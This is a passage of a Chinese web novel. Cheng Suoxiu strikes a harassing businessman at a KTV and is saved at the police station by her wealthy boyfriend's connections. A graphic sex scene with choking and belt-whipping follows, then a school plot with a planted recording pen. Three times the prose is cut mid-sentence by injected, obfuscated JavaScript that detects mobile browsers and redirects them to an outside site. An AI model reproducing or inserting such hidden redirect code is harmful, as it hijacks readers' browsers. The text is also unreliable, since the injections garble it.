她还未出口的事,却被他以一种更委婉、更体面、更善良的方式提前给出了答案——哪怕她现在家境落魄,哪怕她的事业与他们的感情都前路未卜,他依然全力支持她,这是他自己的选择。 * 车展结束了,场地内一片狼藉,与一小时前光鲜亮丽的场面大相径庭,各人收拾着各人的东西。程锁锈使劲洗了脸,卸去顶了一天的“熊猫妆”,走出洗手间时被路芸拦住。 “哎呀,打电话给你也不接,让我好找!宝宝,晚上还有场庆功宴呢。” “那我就不去了,路姐。” “那怎么行?”路芸一把拽住她手腕,“老板们请客,说好了一个都不能少,何况今天还得靠老板们发钱呢。鹿鹿,姐知道你辛苦了,站一天很累,但你再坚持一下,不能打老板们的脸,让老板们不高兴,不然今天不是白忙活了吗?啊?” 话里话外的意思都是:你不去就别想拿钱。 程锁锈也不是吃素的:“那没关系,路姐,钱都是说好了的,聊天记录也在,正好我有位律师朋友,要真起了什么纠纷也能梳理明白。” “哦对,如果老板们不高兴,还请路姐替我转告,我家里人管我管得比较严,每天晚上非要我按时回家吃饭才行,尤其是我那上了岁数的老奶,特别极端,要是找不到我人,她一时急了可能会报警,家里人拦都拦不住的,老板们要是了解了我的情况一定会理解。” 路芸懵了。 见人说人话,见鬼说鬼话。眼前这姑娘的鬼话显然比她更高明。 “啊这……” 看程锁锈要走,她一跺脚:“那这样吧,鹿洵,我和老板们申请,提前把你的5000元报酬转给你,你好好和家里人商量一下,赏个脸,别让老板们扫了兴,好不好?” 程锁锈果然转身:“先说好,这5000块钱是我今天当车模的报酬,不是别的。” “嘿,那当然啦!瞧你这话说的。” 路芸低头在手机上戳戳点点,没多久把钱转给程锁锈,她接收。 之所以答应是真不想再为这钱的事而掰扯,大不了她一会儿跑路。 和路芸走出会场,坐上门口的一辆商务车,上面已经有三名女生在了,她们喊:“路姐。” 路芸笑着点头,将程锁锈安顿在第二排,自己坐上副驾,扭头和司机说:“人齐了,出发吧。” 程锁锈懒懒地歪着头,朝车窗外看风景,二十分钟后车停在百利KTV门口。 我靠,这么丧心病狂?她想。 这是直奔主题,也不请她们吃顿晚饭装一装了? 由路芸领头,和几名花枝招展的女生一同迈入百利KTV大门,程锁锈真有种自己成了陪酒小姐的错觉。 算了,就当体验人生的多样性了。 直入门牌为【9999】的总统套房,几位大腹便便的中年油腻男已经在沙发上等候。素颜的程锁锈在沙发最边缘落座,也离门最近,一男人直接指着她问路芸:“欸,这是新面孔呀?叫什么名字?” “鹿洵。”路芸谄媚地答。 程锁锈:“……” 罪恶感油然而生,她不断默念:陆巡我对不起你。 “哎呀,那坐过来点?”油腻男挑眉。 程锁锈装没听见,路芸在那男人的胳膊上摸两把,笑吟吟道:“哎呀,她第一次来,有点害羞,等一会儿再说吧?酒都在这里了?王老板,您今天准备喝多少呀?” 程锁锈面前放了杯酒,她每次都假装抿一口,实际一点也没喝,然后说想去趟洗手间,出门要溜。 结果在曲里拐弯的走廊上被那王老板追上:“鹿洵!” 程锁锈脚步一滞。 “这是要去哪儿啊?” 油腻男笑眯了眼,一把攥住她手臂。 程锁锈吃痛,没想到对方会这么大胆,心里既恶心又自认倒霉,只得说:“好好好,我和你回去,你先别拉我呗!” 她知道自己扭不过这男人,先假意顺从,随他往回走。谁知这老登见她这么好欺负,得寸进尺,在回去的途中甚至把胳膊搭上她肩膀。 回家之后一定要洗十遍澡,她想。 一直忍到进房间,她抄起桌上的一只酒瓶,“咣”地一声砸到那猥琐男头上。玻璃碎片与酒液迸溅,飞扬到空气中的白色气泡仿佛定格了一瞬,在为她鼓掌。 “啊——”房间里回荡起路芸撕心裂肺的尖叫,“鹿洵,你在干什么——!!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717627|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” * 半夜落到公安局,被开瓢的油腻男已经被送往医院,来这里的是他的律师,一名高高瘦瘦、神容如同猴子般精明的眼镜男。 在场的人全被叫了来,还有一位当值的KTV负责人。众人挨个接受讯问,都说不知道走廊上发生了什么,只看见王老板搂着程锁锈回到房间,程锁锈表情没什么异样,结果下一秒就抡起酒瓶来砸人个头破血流。 警官最后的判定是:程锁锈故意伤害。 “可是他在走廊上骚扰我在先耶。”程锁锈也不是很急很气,摊手,“你们怎么能只调房间里的监控,而不看走廊上的监控录像呢?” “走廊上的监控坏了。”KTV负责人贼眉鼠眼地说。 “你说坏了就坏了?”程锁锈目光移到他身上,又转回到面前的警官身上,“喂,阿sir,他说坏了就坏了?你们做警察的怎么也不去调查一下?” 警官只是低头看桌上文件,神情严肃,不容置疑。 其他人都沉默不语。几个被一同叫来的姑娘贴着墙站,脸上满是被耽误时间的不耐烦,面前警官抬起头对她说:“坏了我们也没办法,走廊上又没有目击证人。我现在要告知你,接下来的流程是这样:等待被害人的伤情鉴定结果,如果被害人为轻微伤,你将面临拘留加罚款的处罚,但如果是轻伤及以上……” 话到这里顿一下:“那么你可能涉及到刑事案件,面临管制、拘役甚至是有期徒刑的判决。” “当然,你可以选择同当事人和解。” 程锁锈看向眼镜男,他也正自上而下地睨着她,镜片随微小的角度改变而时不时反射出一方白光。 “虽然老板现在在医院,”他开口,“但他委托我来时,明确表示过可以和解,至于和解的条件嘛,需要这位女士与我们私下详谈,否则一个周之内我们会向李警官提供伤情鉴定书。” 虽然已经明白是怎么回事,程锁锈还是装作惊讶地问:“你怎么知道他姓李?” 指了指面前的警官:“这哪儿也没标注大名啊?不然我刚才都不知道怎么称呼呢。” 贴墙站的三名女生与KTV负责人都没忍住笑,应该是笑她的无知,眼镜男说:“我们老板在南城的生意做得很大,人脉广一些也没什么奇怪,程女士,还希望你不要岔开话题,严肃认真地对待这起案件,你至少要面临拘留和罚款的处罚。” “噢——” “那我也想请我的律师来,李警官。”她直勾勾地盯着面前的人。 对方想了想:“尽快吧。” “行。” 程锁锈于是拿出手机,不情不愿地给陆巡打电话。 很平淡直白地告诉他自己在哪个警局出了点事,请他来一趟。 靠墙的一名女生不耐烦地拖拉着腔调:“拜托——警擦叔叔,这里没我们的事了吧,我们可以走了吗?” 实在不想看程锁锈垂死挣扎,浪费时间。 “再等等吧。”警察看了眼腕表,“现在时间不晚,你们留在这儿,看看一会儿还有没有什么可补充。”实际是希望他们继续留下来做证人咬死程锁锈,让她即使叫谁来都无力回天,他又看她,“不要耽误大家太多时间,你的律师什么时候到?” “二十分钟。” 程锁锈别着手,懒懒地翻个白眼,没理会他眼中的嘲笑。 8. 公正执法 路芸见这事儿一时半会结束不了,讪笑着请李警官允许她去外面打几个电话。因为其他老板们还在KTV等,而女孩们又被困在这里,估计她要找新的女生过去坐陪,还得连连道歉。 非常煎熬的近二十分钟流逝着,这间屋子的门打开了。 只见两名西装革履的男人推着陆巡的轮椅缓缓进入,陆巡懒懒地斜靠在左侧扶手上,托着脸。 大概只有他这么一张帅气逼人的面庞、一副好身材才能驾驭住这阵势,只是他面无表情的样子有些冷,由身后的人推至李警官面前、程锁锈身边,问:“这是怎么了?” 没想到程锁锈会叫来名残疾人,虽然看不出他身体缺陷在哪儿,屋内人都掩饰不住讥讽。可又看他气质确实不像普通人,身后还跟了两位,于是一时摸不清他底细。 靠墙站的三名女生在看清陆巡的脸后一愣,但想到这是程锁锈的人,完全是来糊弄她们耽误时间的,便愤愤不平地咬耳朵:“这谁啊?是她的亲戚吗?怎么还残了?” “不知道,可能是来装逼的。” “您就是程锁锈女士请来的律师?”李警官问。 旁边几人没忍住笑出了声。 陆巡看程锁锈一眼,又看回他:“那就是吧。” 没想到他也这么吊儿郎当,李警官顿时很后悔同意程锁锈的请求。本是想让她彻底死心,别再费劲挣扎,没想到她依然在胡闹。 “那好,现在人证物证俱在,您看看吧。” “稍等一下,我先听她说。”陆巡做了个手势制止。 程锁锈于是不屑地开口:“陆律,简而言之就是,我今天去参加了一场活动,结束后被逼着去百利KTV参加聚会,看房间里有很多油腻男,我就想溜,没想到在走廊上被其中一位大叔给拽住手臂,哦就是那什么王老板。我知道我拧不过他,只好和他回房间,期间他还把手搭到我肩上,我认为我的人身自由受到了非法限制,并且受到了骚扰,非常恐惧,于是采取了正当防卫。” “哦……”陆巡环视一圈,手指在面前的警官与自己另一旁的眼镜男之间指,“所以你认识这狗的主人,直接判定我的委托人是故意伤害了对吧?” “你……” 程锁锈默默在心里鼓掌:我的陆律见多识广,就是聪明如斯。 “注意你的言辞!”李警官厉声喝斥。 陆巡解锁手机,微蹙着眉,在通讯录列表里上上下下地划:“你这局子还不大,我甚至不知道你领导是谁……你等一会儿吧,等一会儿会有人给你打电话,通知你该怎么公正执法。” 陆巡的话语很清晰,很肯定,以至于一群人都默不作声地看着他。 他拨通一个电话,言简意赅地说明了情况,挂断。 靠墙的三名女生里有一人还是不太信,侧过头,小声说:“他打给谁了?别是个疯子吧?” 另一人摇摇头,抿着唇:“不知道,可能就是来装逼的。谁也叫不来的话,估计要我们一直等到很晚,然后不了了之……” “啊?” “好吧,那我就等着这通电话。”李警官说,“先给您看看监控?” “行。” 屏幕上显示出KTV包间里的场景,右下角男人勾着程锁锈肩膀走进,程锁锈毫无征兆地一俯身,抄起桌上一只玻璃酒瓶,“咣”地一声在男人头上砸开花。 男人愣了几秒,痛苦地抱头蹲下,房间里霎时乱成一锅粥,只听路芸撕心裂肺的一声吼:“鹿洵,你干什么——” “陆巡?” 陆巡看向程锁锈。 “嗯……我的花名。小鹿的‘鹿’,三点水的‘洵’。” “花名?” 似乎不太理解,不知道程锁锈这段时间都在瞎折腾什么,但看着监控上定格的一幕,他指着说:“挺牛逼。” 程锁锈乐得花枝乱颤:“我也觉得!” “那另一段监控呢?”陆巡立刻发问,制住面前人要斥责他们的话,“不是说走廊上还发生了一段事吗?怎么放证据不放完整?” “呃……”旁边的KTV负责人畏畏缩缩地往前一步,“真是不巧,我们走廊上的监控坏了。” 陆巡看李警官:“他说坏了就坏了?” “你们有查过么?” 李警官不语,面色阴沉,不知是心虚还是渐没了耐心。 程锁锈知道他要说什么,一定又是:监控坏了我们有什么办法?但他手边的座机突然响,铃声十分震耳,众人鸦雀无声。 他看了一眼,倏然从位置上站起,据说接领导电话时坐着或站着的声音是有区别的,他这人倒挺讲究老到。 而在接起这电话前,他飞快地瞟了面前的陆巡一眼,似乎更愿意相信这是个巧合:“欸,宋局,您好,这么晚了,什么事?” 他在想,眼前人的年龄最大不过二十岁,难道真是谁家的二世祖? 那怎么要坐轮椅呢? 重新再看陆巡身后的两人,确实不像上不了台面的人,那就是他的保镖?下属? 局面越来越让人捉摸不透,至少他现在知道陆巡不是在口出狂言了。电话扣上,反而是眼镜男先往前一步,笑道:“李警官,这电话和我们现在的这起案子没什么关系吧?” “有关系。”李警官却忽然对他冷淡,“刚才是我考虑不周,证据不足就下了论断,一会儿百利KTV的老板会将走廊上的监控录像亲自送过来。” “啊?”眼镜男没忍住退了一步,像是一根一直支撑他立在这儿的主心骨被抽走,他看看另一边的众人,靠墙的三个小姑娘瞬间目光炯炯,都燃起了吃瓜的兴趣;路芸与KTV负责人则一脸无奈。 收回视线时,他还看到程锁锈正玩着手指一脸无辜地望着他的眼神。 ——妹的。 “我需要联系一下我的老板。”他说。 “你老板叫什么?”陆巡忽然好奇地抬头看他。 “王忠强。”他一字一字地念。 “王中王?”程锁锈好奇,“火腿肠?一节更比六节强?” “没听过。”陆巡很失望地收回目光,“看来混得不太行,在南城还没有一根火腿肠出名。” “你们……” “我劝你别打电话了。”陆巡摆摆手,“我都没听说过这名字,就像不认识这警局的局长,那你们老板再往上找三层关系能找到哪儿?” 眼镜男被他的话冻住。 “好,好。”他收回手机,“算我们倒霉,今天碰到了硬茬,方不方便打探一下阁下的尊姓大名?” “不方便。”陆巡挥了挥手,程锁锈心想,其实你们刚才都听过了,他的大名就是我花名。 “所以以后没有关系就别乱用关系,还有你,”他看向李警官,“你就是这么为人民服务的吗?” 对方紧绷着脸,没有说话。 没多久,门被从外敲了敲,一三十岁左右的男人拿着个密封袋进来了,笑嘻嘻往李警官桌上一放,又冲陆巡一哈腰:“真不好意思啊,小陆总,这都把您给惊动了?真是一场误会,误会!我这家KTV好久没亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717628|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去看了,没想到手下的人都这么懒散,给您添麻烦了哈!警官,这是监控录像。” “好。”李警官收了,男人有些局促地看了会儿陆巡:“也代我向扈少问好。有空了到我那酒吧去坐坐?最近去玩的网红可多了,特别热闹,要是哪天有兴致,提前让人打个电话,我就留最好的位置给您。” “好。” U盘插进主机,第二段监控视频开始播放,KTV老板直接选取了最关键的片段,上来又是那油腻男的声音在走廊上回荡:“鹿洵——” KTV老板摸不着头脑,小心翼翼地问:“小陆总,我截这段录像时就没大明白,您当时也在场吗?” 程锁锈默默地把脸偏到一旁。 * 走出警局,摆脱了一众无关紧要的人,程锁锈接过陆巡的轮椅把手:“我来吧。” 陆巡带来的那两人很识趣地离开,程锁锈推着陆巡沿这条街漫无目的地走。 已经快晚上九点,天很黑,这路边也没什么人,很寂静。路旁的一排法国梧桐叶片宽大,月光还是从缝隙中落下几缕,风从中穿过时沙沙作响。 “妈的怎么这么费劲啊……”程锁锈拨掉一片打在头上的树叶说。 “是路面不够光滑。”陆巡倒蛮享受。 “我说,你腿明明也没多大事,怎么这么喜欢坐轮椅?连在家里也坐?一开始见面时吓死我了。” “因为爽啊。”陆巡仰起头看她,她也低头看他,这么反着看他的脸确实有点意思,但她目光没忍住,很丝滑地落到他衣领中若隐若现的胸部肌肉上…… 飞走的思绪被他话拉回:“我们不是一起看过很多场电影吗?大佬不就是这样出场的?” 程锁锈笑了:“可是你太年轻。” 气质不符。 走着走着,来到一无人的公园,似乎有些年代了,以至于灯光昏黄,都没什么人记得它。 程锁锈将陆巡停在白色的石雕栏杆旁,下面似乎是一潭死水。她蹲到他身前,水岸边枝影错落,一盏路灯的黄晕像旧时代的影片放映机,将一点外围的光线遥遥地散漫过来,其中蒙蒙的似乎是飞虫的影。 她拉住陆巡的手,慢吞吞说:“我感觉现在的一切都和以前不一样了。” 陆巡还是懒洋洋:“比如?” “比如……”她低着头,脸埋在他膝盖之间,他说:“程锁锈,你这个姿势很奇怪。” 她没理他:“比如我不理解,我的世界为什么突然间天翻地覆,家里说破产就破产了。” 这种感觉就好像,她在赌场里战无不胜,手中的筹码越积越多,走在一张张赌桌间宛如一只骄傲的小孔雀。结果顷刻之间,满盘皆输,她一无所有,但她还带着傲气,想从新再来,可手里握着的一两个筹码赢了输、输了赢,再没有什么盼头了。 陆巡一只食指在下巴上磨了磨:“那我也想问,那天的车怎么就偏偏撞到我?” “我们车速又不快,他倒是快,早一秒,晚一秒,或许都没有什么事,哪怕我们在飙车也说不定能躲过一劫,但就是发生了,对吧。” “嗯。” “但我觉得我们两的事不太一样。”她说,“比如今天,换作以往,我自己就可以搞定一切,但我不得不打电话给你巴巴地等你来。” “那就好好学表演,在想做的事上努力往上爬,重新发展人脉,让自己别再受欺负。” 程锁锈抬起头:“可这件事也在靠你帮我。” 陆巡歪了歪头:“难道你不要我再帮你了吗?” 9. 爱情观 “我们……” 她说不下去。 昏暗的光线中,她却能清晰看到陆巡的双眼。恰到好处的内双,深黑的瞳仁,里面总是很平静,偶尔才会在情绪波动时跃过些光。 他的手慢慢地从她手中抽出,反握住她的:“那我问你个问题,我们之间闹过的那些不愉快不提,我出车祸之后,你有没有想过和我分手?” 两双眼睛对视,程锁锈缓缓地说:“没有。” 一刻都没有。 反而是他,明明能看破她的把戏却选择再也和她没交集。 “是啊,”陆巡很释然地卸了力,靠下去,“因为刚被送进医院的时候,医生断定我要截肢,你一直在流泪,那时候你的眼睛上浮着层泪水,特别亮,像放大镜,我透过去看,看不到你一点对我的放弃和失望,你好像只是很心疼我。” 话语到了最后有一点哽,程锁锈止不住地咬牙流泪,泪水滴到陆巡浅亚麻色的裤子面料上,缓缓地塌下去,晕出一片圆形的湿痕。 “哎,程锁锈,我真不想弄成这副场面……但我们不能一直这样隔阂下去吧?” “你那个时候依然坚定要一直和我在一起,那你有想过,在以后的生命里,会出现一个人来把我顶替下去吗?” “我当然知道这个世界上不可能有人比我好,无论哪方面,但毕竟受了点伤嘛,万一就被哪个人比下去了也说不定……” “滚啊。” “没有。”她说,“哪吒三头六臂也比不上你,行不行?” “行。”陆巡笑了笑,“那就说明我们的爱情观一致,对不对?” “在一起往前走的路上,哪怕对方走得比自己慢,也要把对方扛起来往前跑,是不是这样?” 程锁锈拼命地摇头:“还是不一样。我们两个人的情况不一样。” “你忘了吗?之前我们两个人为什么分手?连那时候你妈妈都不看重我,现在我们以后更不可能在一起。” “到底怎么算在一起,程锁锈?”他有点不耐,“只要在一起,就算是在一起。如果还不理解,就请你换位思考,在我心里也没有人能代替你,所以我们都别再违心地把对方越推越远,自讨苦吃。” 程锁锈没话讲。 看着他。 他们在朦朦胧胧的光线中越靠越近,程锁锈伸出手臂,揽住陆巡的后颈,他俯下身,两人柔软的嘴唇相贴,本有些干燥,但慢慢就被浸得湿润,彼此的舌头纠缠在一起,从一开始的有些迟疑到回归熟稔,难分难舍。 因为身体都太过熟悉对方,这样湿滑的亲昵很容易让人浮想联翩,程锁锈一下子放开陆巡,双眼都被染得湿漉,但迷蒙逐渐被清醒克制所代替。 他看起来很满意,嘴角带笑:“回家?” 程锁锈“啧”了声,慢慢地起身,蹲久了再站直脑袋发晕:“真该多运动运动了。” 刚这么说,她看着坐在轮椅上的陆巡却发愁:“我真不能再把你给推回去了,陆巡,省点儿力气,你打电话叫你的人开车来这里接我们行不行?” “怎么不行?”他说着拨通电话,五分钟后保姆车驶来。 浴室里,程锁锈头深深地低下去,贴着浴缸的外沿,湿透的长发顺着垂下,像是一大捧被固住的云霞。 她肩颈高耸,陆巡的手指一遍一遍地在她颈后摩挲,另一只手举着花洒不断地往上冲水,激起一片泡沫,那是在KTV被那个油腻男所碰过的地方,刚才他也是这样给她洗手臂的。 “拜托,这是你什么新爱好吗?”她声音从浴缸外闷闷地传来。 “是谁和我说回来要洗十遍的?” “那只是夸张的说法……” 花洒移开,陆巡倒有求必应,背后贴近来滚烫,一种奇异的触感填补满空缺,浴缸中的水轻荡起波纹,如同有桨在其中划着,一漾,一漾。 浴室里氤氲的水汽让人头脑发晕,他这样的漫不经心让程锁锈有了情绪,她干脆转过身来,对着他又啃又咬,从鼻子、面颊、喉结……分手以来的各种情绪,爱的,恨的,全部变为一片片红痕、一道道牙印。 而那牙印越来越深,几乎要破皮,陆巡眉头也皱得紧,忍耐值突破临界,眼里忽然有了愠怒的情绪,伸手掐住程锁锈脖颈,仿佛制住了一头在发疯的小兽。 程锁锈却顺势仰过去,冲他笑,很受用的模样,那表情真让陆巡后悔方才还有所保留。 手上的力道加重,程锁锈咳了几声,眼睛就如同这浴室的镜子,倒映出春色:“我问你啊,陆巡,我送你的那些LV木偶摆件呢?原来在客厅的那三个?你扔了么?那可是老娘花了足足六千刀买的,六千刀!” “在书房啊。”陆巡和她说着话,再次深入,欣赏自己为她脸上所添的迷乱,“不信去看看?正好,换个地方。” “看?……现在?” 说停就停,他相当会折磨人,程锁锈感觉一下子空了。 他直接将她打横抱起,往书房去,还不忘顺手扯了台子上一条干净的浴巾,而程锁锈眼疾手快,捞起一旁的他的腰带,在被放到他书房的办公桌上后,她面对他,熟练地将腰带套上他脖颈,狠狠一勒,眼里有小狐狸般诱人又明目张胆地使坏的光,拴狗似的。 面前的男人不甘示弱,往前贴近。 而她越使劲,陆巡也越使劲,两人简直在对彼此的折磨中酣畅淋漓,浑身都发出细汗。 互不相让中,陆巡终于忍无可忍地扒开她手,扯下一直固在自己脖颈上的腰带,将程锁锈整个人翻过去,她没有防备,“呃”地一声,他不再保留,惩罚她今天所有胡作非为似的,最后一秒用腰带在她腰上抽下去,但还是在理智的边缘收住了力,随程锁锈整个人彻底瘫软下去,她后腰细白的皮肤上渐渐浮现出一片红痕。 两个人再回到浴室时如同打了一架,满身伤痕。可这才够劲。 身体上得到极致的餍足,情绪上就格外心平气和。 躺在床上,各自看各自平板,只有从被子里露出的些许青青红红的痕迹证明刚才发生过的事。 “已经快三点了。”陆巡开口,“玩到三点就睡觉吧,你明天下午去上表演课?” 程锁锈斜他一眼。 果然就是他找的张椿意吧,但他肯定清楚她会猜出来,现在演都不演了,她也不再管那些弯弯绕绕:“可以。” “下课了再去商场扫货?你想去哪家?” “嗯?”要说这个她可精神了,“还是恒隆吧。” “行。” “晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717629|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再叫他们来家里玩?扈嘉怡不是说要给你送乐高吗?” “那个倒无所谓,但是叫他们一起来玩我支持。” “陆巡,我突然觉得你真是这天底下最好的人!”程锁锈笑眯眯地侧过身,这样柔软的表情陆巡也鲜少从她面庞上看到,真是娇艳极了。 不过在她过来抱他的下一秒,她指尖扫到他身上一道快要破皮的、深深的牙印,他“嘶——”一声躲过。 程锁锈惊讶地收回手。 实际陆巡没那么娇气,纯报复她,她也看出来了,正回身:“好吧,那我今晚不能抱着你睡了,真替你可惜。” 陆巡笑了笑,唤智能管家关了卧室的灯,一刹那全黑下来,什么也看不清。 程锁锈却感觉他来抱住自己,被那温暖的身体所包裹,她没忍住笑出声,翻了个身,进他怀里,戳戳他胸前:“这会儿怎么不嫌疼了?” “嘘。” * 第二天去上表演课很顺利,去恒隆扫货也很爽,只是回家的时间有点晚,朋友们都已经在客厅中等候了,和上次大差不差的一群人。 程锁锈一进门,扈嘉怡便捧着快把她人给遮住的乐高盒子迎上来,叫一声:“锈锈姐姐。” “谢谢哦,嘉怡!”程锁锈放下手中大大小小的购物袋,接过。 扈嘉怡这一整晚都特别乖,小狗腿儿似的,为她鞍前马后、端茶递水,甚至游戏也对她放水。 似乎是表现得过于殷勤,连扈嘉怡自己都有些不好意思,在众人喝醉后单独问她:“锈锈姐姐,你以后真要进娱乐圈吗?” 正嗑着瓜子的程锁锈一愣:“是啊,不然我家都破产了我能干什么?” 她一直学表演的事很多人知道,只是他们这些人,多多少少有些爱好,什么课都上,最后还是要按照家里的规划来发展。 只是其他人不知道,程锁锈从前家里有钱,但所谓的家庭是名存实亡,她一直想走自己的路,只是这时她想进演艺圈的事才更让旁人信服。 “嗯……”程锁锈这么一说,扈嘉怡想起上次挑衅她询问她家破产的事,有些不好意思,“那……” “我知道,陈崇明嘛。” 扈嘉怡低下头娇羞地笑了。 程锁锈看她这样,也笑了。 小姑娘确实有点好玩。 * 周一中午,程锁锈所在的班级教室。 先是一头发染得金黄的女生假意从走廊上经过,似是不经意往玻璃窗中一瞟,看见只有一桌人在里面吃外卖。 一个手势,一面上坑坑洼洼,俗称“橘子皮”,但身形高壮的男生走进去,站到那桌人旁边说:“打扰了,学长学姐们,请问……徐鸣宇学长是去食堂吃饭了吗?” “啊?”一桌人停止聊天,都抬头看他,认为这问题莫名其妙,“不知道啊,下课就走了,谁知道是不是去了食堂。” “哦,哦,找他有点事……” 橘子皮挠挠头走了,一桌人互相看一眼,笑了,但都不在意地继续聊天。 殊不知刚才注意被吸引时,被那橘子皮男生所挡的方向,黄头发女生与一高高瘦瘦的女生以很可笑的姿势从后门爬进来,将一支已经开启的超长续航的录音笔丢进程锁锈包里。 10. 录音笔 * 周二中午,程锁锈捧着沙拉与酸奶,鬼鬼祟祟地钻进学校侧花园。 这里的植物高大茂密,挤得一条石子路分外狭窄,有一段路甚至要她侧着身才能过。以前论坛上有传言,说会有男男女女钻进这里的树丛中干坏事。 她时不时回头瞥一眼,以防又有莫名其妙的男生跟上来,做自我介绍破坏她难得安逸的午休时间。 所以十五分钟后,扈嘉怡费了九牛二虎之力才找到她,气喘吁吁:“锈、锈锈姐姐,不好了,我们级部有人说……” 喘不匀气,说不出话。 程锁锈看她一眼:“你别急。” 扈嘉怡缓了缓:“他们说有人昨天往你包里放了支录音笔,要看你是不是真的被包养了。刚才趁中午吃饭、教室里没人,他们已经把录音笔给取出来,正在多媒体教室里锁着门听……” 程锁锈懵了。 这是人干的事? 真是离谱它妈给离谱开门——离谱到家了。 她差点被一口沙拉给噎死,起身:“带我去。” 两人沿小道匆匆地走,程锁锈在扈嘉怡身后问:“这事都有谁知道?” “不多不多。”扈嘉怡很慌,因为要深究起来这事还得赖她,谁让她上个周信誓旦旦地在论坛上发帖,说程锁锈被包养了,还鼓动大家去查? 她发帖的举动已经够丧心病狂,没想到还有更丧心病狂的人——哪有直接用录音笔窃听人家隐私的? 说白了,这学校里都是些被惯坏的富家子弟,他们不会真以为程锁锈家里破产、一蹶不振,就可以随意欺负侮辱她了吧?他们现在可以不惧她的暴脾气,但问题是……扈嘉怡一路上惴惴地想。 而程锁锈在想:幸亏她昨晚和陆巡非常平和,没说什么奇怪的话,更没做什么超纲的事。 “知道这事的人多吗?” “暂时不多……”扈嘉怡捋捋心口,“可这种事传着传着就……” “哦,我明白了。” 在拿回录音笔前,那些人害怕失手,所以不敢声张。但他们现在成功拿回,便忍不住雀跃着抖露出消息——他们很有可能爆出个校园大瓜,就算程锁锈没被包养,她现在的生活状况也足够全校人品鉴。 她曾经的光环渐渐不在,一无所有、甚至可以被随意践踏的本质渐渐显露。 来到顶楼走廊,这一排都是多媒体教室,扈嘉怡停住脚步。 程锁锈刚想问哪间,便看到两名高一男生正猫腰在一扇门外偷听,她于是快步走去。 没想到惊动了他们,那两人一回头,见是她,不知是做贼心虚还是仍被她曾经的风光所威慑,小老鼠一般赶紧从另一侧楼梯溜走。 “傻逼。” 程锁锈按门把手,按不下去,只发出门锁摇晃的响动,确实被从内锁了。 “谁?”里面的人喊。 “我!程,锁,锈!” 教室里没在播放什么声音,挺安静。 没一会儿门锁从里面“咔哒”一声打开,一白净的女生出现在程锁锈面前。 空气刘海,长直发,挺瘦挺骨感的,活脱脱一玉女类型。 要不是她扫过程锁锈的眼神轻蔑,程锁锈都怀疑自己是不是找错地方了,对方语气也很不屑:“进来吧。” 程锁锈合上门,别起手,审视屋内的四人—— 一高壮的橘子皮男,一矮墩墩的白胖男,刚才开门的那位清瘦女,还有一位黄毛女。 她目光一一扫过,对这些面庞都有点印象,就是去年高一级部,也就是今年高二级部中比较活跃的人物。可要论跻身风云人物,实在是差很大一截意思。 要换作去年,他们若是经过她和陆巡身边,他两连眼神都不会给半分:“听说你们在这里研究我私生活?怎么,对我这么好奇,现在我本人来了,要不然你们直接问问我?” 眼神落某张课桌上,果然放着支录音笔。 没想到这四人对她彻底不怵了,黄毛丫头很嘚瑟地往桌上一坐,也别起手:“程锁锈,你就别装了,你家里破产的事大家都知道,有本事你就去找校长或者找警察治我们呀!你有什么证据吗?” 熟悉的处境,程锁锈只是笑:“那我陪你们一起听?” 四个人互相看一眼,矮胖的男生猫下腰,长按录音笔快进键后发出刺耳的杂音。程锁锈才明白,刚才在门外觉得里面安静是因为录音太长,还没有放到她回陆巡家后的片段。 突然放出因快进而变尖锐的人声,矮胖男立刻恢复原速,上来就是陆巡的一句:“我有个朋友最近在投资短剧拍着玩,要是有合适的,你去拍一部试试怎么样?” “可以啊,当然可以。” “我还得给你物色一位经纪人。” “你当不行吗?” 陆巡笑:“我当你是在夸我了,宝宝。” 又问:“你不爱吃这道菜吗?” 程锁锈“yue”一声:“今天这位厨师的风格很有创意,但我建议他不要创意得太过。” 最后她真心诚意地和面前人说:“陆巡,谢谢你现在对我的投资和付出,我一定会拿出百分之百的事业心来对待,等我功成名就那一天,我第一个给你签名。” “然后再给扈嘉怡要陈崇明的手写信,签名合照什么的她已经有不少了吧?” 陆巡笑:“你还记着她?” 当录音笔传出程锁锈叫的“陆巡”二字后,教室里四人原本专注的神情都有些变化。 他们跟陆巡不熟,一开始根本没听出他经过录音笔后有些不同的声音。 他们看向程锁锈。 其实这半年来,除了程锁锈本人及扈家兄妹,根本没人知道陆巡为什么突然消失,但知道程锁锈和他一起短暂地消失了一个周后,再回学校时已和他分手。 “哦,原来是家里破产后去找前男友养着了。”黄毛女生怪笑着说。 但能看出来,她那要笑不笑的样子极不自然,看来他们心里还有对陆巡的忌惮。 “嗯……家里破产了就做什么都不对。”她摊开手,“拿来。” 